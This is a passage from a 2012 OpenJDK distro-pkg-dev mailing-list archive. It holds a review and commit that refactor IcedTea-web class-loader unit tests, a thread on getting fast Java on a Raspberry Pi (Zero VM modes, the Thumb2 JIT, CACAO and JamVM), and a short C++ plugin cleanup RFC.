>> >>> private static final String isWSA = "isWebstartApplication"; >>> >>> static void setStaticField(Field field, Object newValue) >>> throws Exception { >>> @@ -97,47 +115,73 @@ >>> public void testResourceLoadSuccessCachingApplication() throws >>> Exception { >>> setWSA(); >>> //we are testing new resource not in cache >>> - testResourceLoadSuccessCaching("Main.class"); >>> + testResourceLoadSuccessCaching2("Main.class"); >> >> Just a nitpick, >> >> testResourceLoadSuccessCachingApplication calls >> testResourceLoadSuccessCaching2 >> but testResourceLoadSuccessCachingApplication2 calls >> testResourceLoadSuccessCaching1, the mismatch is a little confusing >> >> >>> } >>> >>> @Test >>> public void testResourceLoadSuccessCachingApplet() throws >>> Exception { >>> setApplet(); >>> //so new resource again not in cache >>> - testResourceLoadSuccessCaching("HTMLPanel.java"); >>> + testResourceLoadSuccessCaching2("Main.class"); >>> + } >>> + >>> + @Test >>> + public void testResourceLoadSuccessCachingApplication2() throws >>> Exception { >>> + setWSA(); >>> + //we are testing new resource not in cache >>> + testResourceLoadSuccessCaching1("HTMLPanel.java"); >>> } >>> >>> - public void testResourceLoadSuccessCaching(String r) throws >>> Exception { >>> - JNLPFile dummyJnlpFile = new JNLPFile() { >>> + @Test >>> + public void testResourceLoadSuccessCachingApplet2() throws >>> Exception { >>> + setApplet(); >>> + //so new resource again not in cache >>> + testResourceLoadSuccessCaching1("HTMLPanel.java"); >>> + } >>> >>> - @Override >>> - public ResourcesDesc getResources() { >>> - return new ResourcesDesc(null, new Locale[0], new >>> String[0], new String[0]); >>> - } >>> + public void testResourceLoadSuccessCaching1(String r) throws >>> Exception { >>> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >>> >>> - @Override >>> - public URL getCodeBase() { >>> - return CODEBASE_URL; >>> - } >>> - >>> - @Override >>> - public SecurityDesc getSecurity() { >>> - return new SecurityDesc(this, >>> SecurityDesc.SANDBOX_PERMISSIONS, null); >>> - } >>> - }; >>> JNLPClassLoader parent = new >>> JNLPClassLoader(dummyJnlpFile, null); >>> CodeBaseClassLoader classLoader = new >>> CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >>> >>> long startTime, stopTime; >>> >>> startTime = System.nanoTime(); >>> - classLoader.findResource("net/sourceforge/jnlp/about/"+r); >>> + URL u1 = >>> classLoader.findResource("net/sourceforge/jnlp/about/"+r); >>> + Assert.assertNull(u1); >>> stopTime = System.nanoTime(); >>> long timeOnFirstTry = stopTime - startTime; >>> ServerAccess.logErrorReprint("" + timeOnFirstTry); >>> >>> startTime = System.nanoTime(); >>> - classLoader.findResource("net/sourceforge/jnlp/about/"+r); >>> + URL u2 = >>> classLoader.findResource("net/sourceforge/jnlp/about/"+r); >>> + Assert.assertNull(u2); >>> + stopTime = System.nanoTime(); >>> + long timeOnSecondTry = stopTime - startTime; >>> + ServerAccess.logErrorReprint("" + timeOnSecondTry); >>> + >>> + assertTrue(timeOnSecondTry< (timeOnFirstTry / 10)); >>> + } >>> + >>> + public void testResourceLoadSuccessCaching2(String r) throws >>> Exception { >> >> I dislike numerically distinguished names strongly :-) >> I had to do a diff to be sure of the difference here. It seems there >> should just be one function (equivalent to >> testResourceLoadSuccessCaching2), and the >> "net/sourceforge/jnlp/about/" be added to the parameter upon usage. >> >>> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >>> + >>> + JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, >>> null); >>> + CodeBaseClassLoader classLoader = new >>> CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >>> + >>> + long startTime, stopTime; >>> + >>> + startTime = System.nanoTime(); >>> + URL u1 = classLoader.findResource(r); >>> + Assert.assertNull(u1); >>> + stopTime = System.nanoTime(); >>> + long timeOnFirstTry = stopTime - startTime; >>> + ServerAccess.logErrorReprint("" + timeOnFirstTry); >>> + >>> + startTime = System.nanoTime(); >>> + URL u2 = classLoader.findResource(r); >>> + Assert.assertNull(u2); >>> stopTime = System.nanoTime(); >>> long timeOnSecondTry = stopTime - startTime; >>> ServerAccess.logErrorReprint("" + timeOnSecondTry); >>> @@ -161,23 +205,7 @@ >>> } >>> >>> public void testResourceLoadFailureCaching() throws Exception { >>> - JNLPFile dummyJnlpFile = new JNLPFile() { >>> - >>> - @Override >>> - public ResourcesDesc getResources() { >>> - return new ResourcesDesc(null, new Locale[0], new >>> String[0], new String[0]); >>> - } >>> - >>> - @Override >>> - public URL getCodeBase() { >>> - return CODEBASE_URL; >>> - } >>> - >>> - @Override >>> - public SecurityDesc getSecurity() { >>> - return new SecurityDesc(this, >>> SecurityDesc.SANDBOX_PERMISSIONS, null); >>> - } >>> - }; >>> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >>> >>> JNLPClassLoader parent = new >>> JNLPClassLoader(dummyJnlpFile, null); >>> CodeBaseClassLoader classLoader = new >>> CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >>> @@ -212,24 +240,8 @@ >>> } >>> >>> public void testParentClassLoaderIsAskedForClasses() throws >>> Exception { >>> - JNLPFile dummyJnlpFile = new JNLPFile() { >>> - >>> - @Override >>> - public ResourcesDesc getResources() { >>> - return new ResourcesDesc(null, new Locale[0], new >>> String[0], new String[0]); >>> - } >>> - >>> - @Override >>> - public URL getCodeBase() { >>> - return CODEBASE_URL; >>> - } >>> - >>> - @Override >>> - public SecurityDesc getSecurity() { >>> - return new SecurityDesc(this, >>> SecurityDesc.SANDBOX_PERMISSIONS, null); >>> - } >>> - }; >>> - >>> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >>> + >>> final boolean[] parentWasInvoked = new boolean[1]; >>> >>> JNLPClassLoader parent = new >>> JNLPClassLoader(dummyJnlpFile, null) { >> >> Please also rid of the duplicated dummy in testNullFileSecurityDesc. > > Atatched even more fixed and cleaned version > Nice. I like it better for sure, go ahead and push. Thanks -Adam From gregjo at yahoo.com Tue Dec 18 07:11:16 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Tue, 18 Dec 2012 07:11:16 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <50D07910.7050500@redhat.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> Message-ID: <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> >Is there some special reason you need CACAO? Performance. I'm working with Java applications on low-powered devices -- currently the Raspberry Pi. Initially I was using the Debian distro, but I'm partial to the Red Hat world. ;-) The Java performance on the Fedora 17 Remix version of Java is very poor compared to the versions available on Debian. The Debian version uses Zero VM (mixed mode). The Fedora version of Zero VM uses interpreted mode. So I had it recommended to me to try Cacao, as it's performance on ARM is reported to be "quite good". It's not available in the Fedora repositories, so I reached out to attempt to build my own. And that has led me to where I'm at now. :-) Have I received poor advice? Is Cacao something I shouldn't be interested in? I guess I could always go back to Debian. :-( -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/685b5903/attachment.html From jvanek at icedtea.classpath.org Tue Dec 18 07:13:45 2012 From: jvanek at icedtea.classpath.org (jvanek at icedtea.classpath.org) Date: Tue, 18 Dec 2012 15:13:45 +0000 Subject: /hg/icedtea-web: Cleaned unit-tests in tests/netx/unit/net/sour... Message-ID: changeset 892cc7f39358 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=892cc7f39358 author: Jiri Vanek date: Tue Dec 18 16:15:01 2012 +0100 Cleaned unit-tests in tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java diffstat: ChangeLog | 13 + tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java | 188 ++++----- 2 files changed, 94 insertions(+), 107 deletions(-) diffs (312 lines): diff -r e04380d3306f -r 892cc7f39358 ChangeLog --- a/ChangeLog Tue Dec 18 13:58:24 2012 +0100 +++ b/ChangeLog Tue Dec 18 16:15:01 2012 +0100 @@ -1,3 +1,16 @@ +2012-12-18 Jiri Vanek + + Cleaned unit-tests: + * tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java: + (DummyJNLPFile) class extracted from its anonymous members to private + named member. Get rid of repeated methods (testResourceLoad*Caching) and + replace it by (testResourceCaching) with parameter of full name and boolean + keeping its expected existence and branching null assert on it. Added tests + (testClassResourceLoadSuccessCachingApplication) and + (testClassResourceLoadSuccessCachingApplet). (testResourceCaching) made + less vulnerable by found classes and more precise. All resources paths + fixed and clarified (to be found or not) + 2012-12-18 Jana Fabrikova * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: diff -r e04380d3306f -r 892cc7f39358 tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java --- a/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Tue Dec 18 13:58:24 2012 +0100 +++ b/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Tue Dec 18 16:15:01 2012 +0100 @@ -68,6 +68,34 @@ throw new RuntimeException(ex); } } + + private class DummyJNLPFile extends JNLPFile { + + final boolean haveSecurity; + + public DummyJNLPFile(boolean haveSecurity) { + this.haveSecurity = haveSecurity; + } + + @Override + public ResourcesDesc getResources() { + return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); + } + + @Override + public URL getCodeBase() { + return CODEBASE_URL; + } + + @Override + public SecurityDesc getSecurity() { + if (haveSecurity) { + return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); + } else { + return new SecurityDesc(null, SecurityDesc.SANDBOX_PERMISSIONS, null); + } + } + }; private static final String isWSA = "isWebstartApplication"; static void setStaticField(Field field, Object newValue) throws Exception { @@ -94,55 +122,74 @@ "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017626.html", "http://mail.openjdk.java.net/pipermail/distro-pkg-dev/2012-March/017667.html"}) @Test + public void testClassResourceLoadSuccessCachingApplication() throws Exception { + setWSA(); + //we are testing new resource not in cache + testResourceCaching("net/sourceforge/jnlp/about/Main.class"); + } + + @Test + public void testClassResourceLoadSuccessCachingApplet() throws Exception { + setApplet(); + //so new resource again not in cache + testResourceCaching("net/sourceforge/jnlp/about/Main.class"); + } + + @Test public void testResourceLoadSuccessCachingApplication() throws Exception { setWSA(); //we are testing new resource not in cache - testResourceLoadSuccessCaching("Main.class"); + testResourceCaching("net/sourceforge/jnlp/about/resources/about.html"); } @Test public void testResourceLoadSuccessCachingApplet() throws Exception { setApplet(); //so new resource again not in cache - testResourceLoadSuccessCaching("HTMLPanel.java"); + testResourceCaching("net/sourceforge/jnlp/about/resources/about.html"); } - public void testResourceLoadSuccessCaching(String r) throws Exception { - JNLPFile dummyJnlpFile = new JNLPFile() { + public void testResourceCaching(String r) throws Exception { + testResourceCaching(r, true); + } - @Override - public ResourcesDesc getResources() { - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); - } + public void testResourceCaching(String r, boolean shouldExists) throws Exception { + JNLPFile dummyJnlpFile = new DummyJNLPFile(true); - @Override - public URL getCodeBase() { - return CODEBASE_URL; - } + JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); + CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[]{JAR_URL, CODEBASE_URL}, parent); - @Override - public SecurityDesc getSecurity() { - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); - } - }; - JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); - CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); - + int level = 10; + if (shouldExists) { + //for found the "caching" is by internal logic.Always faster, but who knows how... + //to keep the test stabile keep the difference minimal + level = 1; + } long startTime, stopTime; startTime = System.nanoTime(); - classLoader.findResource("net/sourceforge/jnlp/about/"+r); + URL u1 = classLoader.findResource(r); + if (shouldExists) { + Assert.assertNotNull(u1); + } else { + Assert.assertNull(u1); + } stopTime = System.nanoTime(); long timeOnFirstTry = stopTime - startTime; ServerAccess.logErrorReprint("" + timeOnFirstTry); startTime = System.nanoTime(); - classLoader.findResource("net/sourceforge/jnlp/about/"+r); + URL u2 = classLoader.findResource(r); + if (shouldExists) { + Assert.assertNotNull(u1); + } else { + Assert.assertNull(u2); + } stopTime = System.nanoTime(); long timeOnSecondTry = stopTime - startTime; ServerAccess.logErrorReprint("" + timeOnSecondTry); - assertTrue(timeOnSecondTry < (timeOnFirstTry / 10)); + assertTrue(timeOnSecondTry < (timeOnFirstTry / level)); } @Bug(id = {"PR895", @@ -151,52 +198,13 @@ @Test public void testResourceLoadFailureCachingApplication() throws Exception { setWSA(); - testResourceLoadFailureCaching(); + testResourceCaching("net/sourceforge/jnlp/about/Main_FOO_.class", false); } @Test public void testResourceLoadFailureCachingApplet() throws Exception { setApplet(); - testResourceLoadFailureCaching(); - } - - public void testResourceLoadFailureCaching() throws Exception { - JNLPFile dummyJnlpFile = new JNLPFile() { - - @Override - public ResourcesDesc getResources() { - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); - } - - @Override - public URL getCodeBase() { - return CODEBASE_URL; - } - - @Override - public SecurityDesc getSecurity() { - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); - } - }; - - JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); - CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); - - long startTime, stopTime; - - startTime = System.nanoTime(); - classLoader.findResource("net/sourceforge/jnlp/about/Main_FOO_.class"); - stopTime = System.nanoTime(); - long timeOnFirstTry = stopTime - startTime; - ServerAccess.logErrorReprint("" + timeOnFirstTry); - - startTime = System.nanoTime(); - classLoader.findResource("net/sourceforge/jnlp/about/Main_FOO_.class"); - stopTime = System.nanoTime(); - long timeOnSecondTry = stopTime - startTime; - ServerAccess.logErrorReprint("" + timeOnSecondTry); - - assertTrue(timeOnSecondTry < (timeOnFirstTry / 10)); + testResourceCaching("net/sourceforge/jnlp/about/Main_FOO_.class", false); } @Test @@ -208,27 +216,11 @@ @Test public void testParentClassLoaderIsAskedForClassesApplet() throws Exception { setApplet(); - testResourceLoadFailureCaching(); + testParentClassLoaderIsAskedForClasses(); } public void testParentClassLoaderIsAskedForClasses() throws Exception { - JNLPFile dummyJnlpFile = new JNLPFile() { - - @Override - public ResourcesDesc getResources() { - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); - } - - @Override - public URL getCodeBase() { - return CODEBASE_URL; - } - - @Override - public SecurityDesc getSecurity() { - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); - } - }; + JNLPFile dummyJnlpFile = new DummyJNLPFile(true); final boolean[] parentWasInvoked = new boolean[1]; @@ -240,7 +232,7 @@ throw new ClassNotFoundException(name); } }; - CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); + CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[]{JAR_URL, CODEBASE_URL}, parent); try { classLoader.findClass("foo"); assertFalse("should not happen", true); @@ -262,26 +254,10 @@ } public void testNullFileSecurityDesc() throws Exception { - JNLPFile dummyJnlpFile = new JNLPFile() { - - @Override - public ResourcesDesc getResources() { - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); - } - - @Override - public URL getCodeBase() { - return CODEBASE_URL; - } - - @Override - public SecurityDesc getSecurity() { - return new SecurityDesc(null, SecurityDesc.SANDBOX_PERMISSIONS, null); - } - }; + JNLPFile dummyJnlpFile = new DummyJNLPFile(false); JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); - CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); + CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[]{JAR_URL, CODEBASE_URL}, parent); Exception ex = null; try { @@ -296,10 +272,10 @@ //search dor resources is not relvant to null jnlp file for applets ex = null; - URL res=null; + URL res = null; try { //not cached - res=classLoader.findResource("net/sourceforge/jnlp/about/resources/notes.html"); + res = classLoader.findResource("net/sourceforge/jnlp/about/resources/notes.html"); } catch (Exception exx) { ex = exx; ServerAccess.logException(ex); @@ -314,10 +290,10 @@ } ex = null; - res=null; + res = null; try { //now cached - res=classLoader.findResource("net/sourceforge/jnlp/about/resources/notes.html"); + res = classLoader.findResource("net/sourceforge/jnlp/about/resources/notes.html"); } catch (Exception exx) { ex = exx; ServerAccess.logException(ex); @@ -331,6 +307,4 @@ Assert.assertNotNull(res); } } - - } From stefan at complang.tuwien.ac.at Tue Dec 18 07:24:01 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 16:24:01 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: > Have I received poor advice? Is Cacao something I shouldn't be interested > in? I like your decision, given my affiliation with CACAO ;). But you should give JamVM a try. It's quite fast these days, and AFAIK it also supports JSR292, contrary to cacao. From stefan at complang.tuwien.ac.at Tue Dec 18 07:26:15 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 16:26:15 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > Was this a build with CACAO? That seems to be the problem....32bit builds > with CACAO. I thought it was, but it appears my memory did not serve me right. I have a build running at the moment, and I expect it to be a few more hours before I can say something about the outcome. It will definitely not be 2 weeks ;). From aph at redhat.com Tue Dec 18 09:28:15 2012 From: aph at redhat.com (Andrew Haley) Date: Tue, 18 Dec 2012 17:28:15 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: <50D0A7AF.90804@redhat.com> On 12/18/2012 03:11 PM, Greg Johnson wrote: >> Is there some special reason you need CACAO? > > Performance. > > I'm working with Java applications on low-powered devices -- > currently the Raspberry Pi. Initially I was using the Debian distro, > but I'm partial to the Red Hat world. ;-) The Java performance on > the Fedora 17 Remix version of Java is very poor compared to the > versions available on Debian. The Debian version uses Zero VM (mixed > mode). The Fedora version of Zero VM uses interpreted mode. No, they're using the same VM. The problem is that Raspberry Pi doesn't support the Thumb2 instruction set, and the ARM JIT in OpenJDK needs it. I've been hoping that some day a brave soul will come along and convert the Thumb2 JIT to generate ARM code instead of Thumb2 code, but there haven't been any takers. > Have I received poor advice? Is Cacao something I shouldn't be > interested in? I guess I could always go back to Debian. :-( If Debian have made the Thumb2 JIT work on Raspberry Pi I'd love to know how. Andrew. From gregjo at yahoo.com Tue Dec 18 10:02:51 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Tue, 18 Dec 2012 10:02:51 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <50D0A7AF.90804@redhat.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> Message-ID: <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> >>No, they're using the same VM.? The problem is that Raspberry Pi >>doesn't support the Thumb2 instruction set, and the ARM JIT in OpenJDK >>needs it.? I've been hoping that some day a brave soul will come along >>and convert the Thumb2 JIT to generate ARM code instead of Thumb2 >>code, but there haven't been any takers. Under Debian, I have this: # java -version java version "1.6.0_18" OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) OpenJDK Zero VM (build 14.0-b16, mixed mode) Under Fedora, I have this: # java -version java version "1.7.0_b147-icedtea" OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) OpenJDK Zero VM (build 22.0-b10, interpreted mode) Both are using Zero VM, but with different modes. Then I received this explanation from the Raspberry Pi forums: -------------------------------------- The main reason why you see a magnitude difference in the Debian vs Fedora results really boils down to that there exist two variants of Zero. In Fedora you have installed OpenJDK Zero VM (build 22.0-b10,?interpreted mode) This is using the C++ interpreter only. In Debian you have installed OpenJDK Zero VM (build 14.0-b16,?mixed mode) The "mixed mode" version contains two addons, designed by Edward Nevill, on top of the generic Zero C++ interpreter, a rewritten interpreter main loop in ARM assembly this speeds up the jvm about a factor x3 this do benefit the Pi. The "mixed mode" also include a Thumb2 JIT that improves speed for ARMv7 cores and later, the Pi could benefit from this JIT if it got rewritten from Thumb2 to target generic ARM or Thumb1 assembly. ----------------------------------------- The Thumb2 info is out of my league. However, the disparity on performance was drastic, thus I searched out other avenues. Cacao was suggested, so I thought I'd try it out. Since it won't compile on 32bit x86, I have no hope of compiling it on ARM. I guess my search continues.... :-( ?Stefan suggested JamVM as a possibility. Off I go. :-) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/2f3e4574/attachment.html From aph at redhat.com Tue Dec 18 10:27:25 2012 From: aph at redhat.com (Andrew Haley) Date: Tue, 18 Dec 2012 18:27:25 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <50D0B514.4090304@redhat.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> <50D0B514.4090304@redhat.com> Message-ID: <50D0B58D.4020805@redhat.com> On 12/18/2012 06:25 PM, Andrew Haley wrote: > On 12/18/2012 06:02 PM, Greg Johnson wrote: >>>> No, they're using the same VM. The problem is that Raspberry Pi >>>> doesn't support the Thumb2 instruction set, and the ARM JIT in OpenJDK >>>> needs it. I've been hoping that some day a brave soul will come along >>>> and convert the Thumb2 JIT to generate ARM code instead of Thumb2 >>>> code, but there haven't been any takers. >> >> Under Debian, I have this: >> # java -version >> java version "1.6.0_18" >> OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) >> OpenJDK Zero VM (build 14.0-b16, mixed mode) >> >> >> Under Fedora, I have this: >> # java -version >> java version "1.7.0_b147-icedtea" >> OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) >> OpenJDK Zero VM (build 22.0-b10, interpreted mode) >> >> >> Both are using Zero VM, but with different modes. Then I received >> this explanation from the Raspberry Pi forums: >> -------------------------------------- > >> The main reason why you see a magnitude difference in the Debian vs >> Fedora results really boils down to that there exist two variants of >> Zero. >> >> In Fedora you have installed OpenJDK Zero VM (build 22.0-b10, >> interpreted mode) This is using the C++ interpreter only. > > Ahhh, okay. All is now clear. One is Java 7, the other is Java 6. > > The problem is that the ARM assembler port isn't working on Java 7. > It's nothing to do with Fedora versus Debian: it's just that Debian > has an old version of OpenJDK. Incidentally, this does mean that the easiest way to get to where you want to be in the short term is just to build IcedTea 6. Andrew. From aph at redhat.com Tue Dec 18 10:25:24 2012 From: aph at redhat.com (Andrew Haley) Date: Tue, 18 Dec 2012 18:25:24 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> Message-ID: <50D0B514.4090304@redhat.com> On 12/18/2012 06:02 PM, Greg Johnson wrote: >>> No, they're using the same VM. The problem is that Raspberry Pi >>> doesn't support the Thumb2 instruction set, and the ARM JIT in OpenJDK >>> needs it. I've been hoping that some day a brave soul will come along >>> and convert the Thumb2 JIT to generate ARM code instead of Thumb2 >>> code, but there haven't been any takers. > > Under Debian, I have this: > # java -version > java version "1.6.0_18" > OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) > OpenJDK Zero VM (build 14.0-b16, mixed mode) > > > Under Fedora, I have this: > # java -version > java version "1.7.0_b147-icedtea" > OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) > OpenJDK Zero VM (build 22.0-b10, interpreted mode) > > > Both are using Zero VM, but with different modes. Then I received > this explanation from the Raspberry Pi forums: > -------------------------------------- > The main reason why you see a magnitude difference in the Debian vs > Fedora results really boils down to that there exist two variants of > Zero. > > In Fedora you have installed OpenJDK Zero VM (build 22.0-b10, > interpreted mode) This is using the C++ interpreter only. Ahhh, okay. All is now clear. One is Java 7, the other is Java 6. The problem is that the ARM assembler port isn't working on Java 7. It's nothing to do with Fedora versus Debian: it's just that Debian has an old version of OpenJDK. > In Debian you have installed OpenJDK Zero VM (build 14.0-b16, mixed mode) > The "mixed mode" version contains two addons, designed by Edward > Nevill, on top of the generic Zero C++ interpreter, a rewritten > interpreter main loop in ARM assembly this speeds up the jvm about a > factor x3 this do benefit the Pi. > The "mixed mode" also include a Thumb2 JIT that improves speed for > ARMv7 cores and later, the Pi could benefit from this JIT if it got > rewritten from Thumb2 to target generic ARM or Thumb1 assembly. That part is true. > The Thumb2 info is out of my league. However, the disparity on > performance was drastic, thus I searched out other avenues. Cacao > was suggested, so I thought I'd try it out. Since it won't compile > on 32bit x86, I have no hope of compiling it on ARM. I guess my > search continues.... :-( Stefan suggested JamVM as a > possibility. Off I go. :-) Well, you're talking to the right person: I wrote a lot of this stuff. We are working on getting the ARM assembler port working on 7, and we expect to have it done at the start of next year. Andrew. From adomurad at redhat.com Tue Dec 18 11:12:50 2012 From: adomurad at redhat.com (Adam Domurad) Date: Tue, 18 Dec 2012 14:12:50 -0500 Subject: [rfc][icedtea-web] Minor addition to C++ testing; cleanup Message-ID: <50D0C032.9050907@redhat.com> 2012-12-XX Adam Domurad * plugin/icedteanp/IcedTeaNPPlugin.cc: Remove need for 'goto' in (NP_Initialize). Expose some previously static variables/functions for unit testing purposes. Reduce need for explict allocations for strings 'data_directory' and 'appletviewer_executable'. * tests/cpp-unit-tests/IcedTeaNPPluginTest.cc: Add some basic tests for functions in IcedTeaNPPlugin.cc. The biggest change out of here I want is that NP_Initialize has considerably less string-fiddling/goto noise. Happy hacking, -Adam -------------- next part -------------- A non-text attachment was scrubbed... Name: itnp-unittests-small-cleanup.patch Type: text/x-patch Size: 10403 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/fcb8a257/itnp-unittests-small-cleanup.patch From rob.lougher at gmail.com Tue Dec 18 13:00:06 2012 From: rob.lougher at gmail.com (Robert Lougher) Date: Tue, 18 Dec 2012 21:00:06 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> 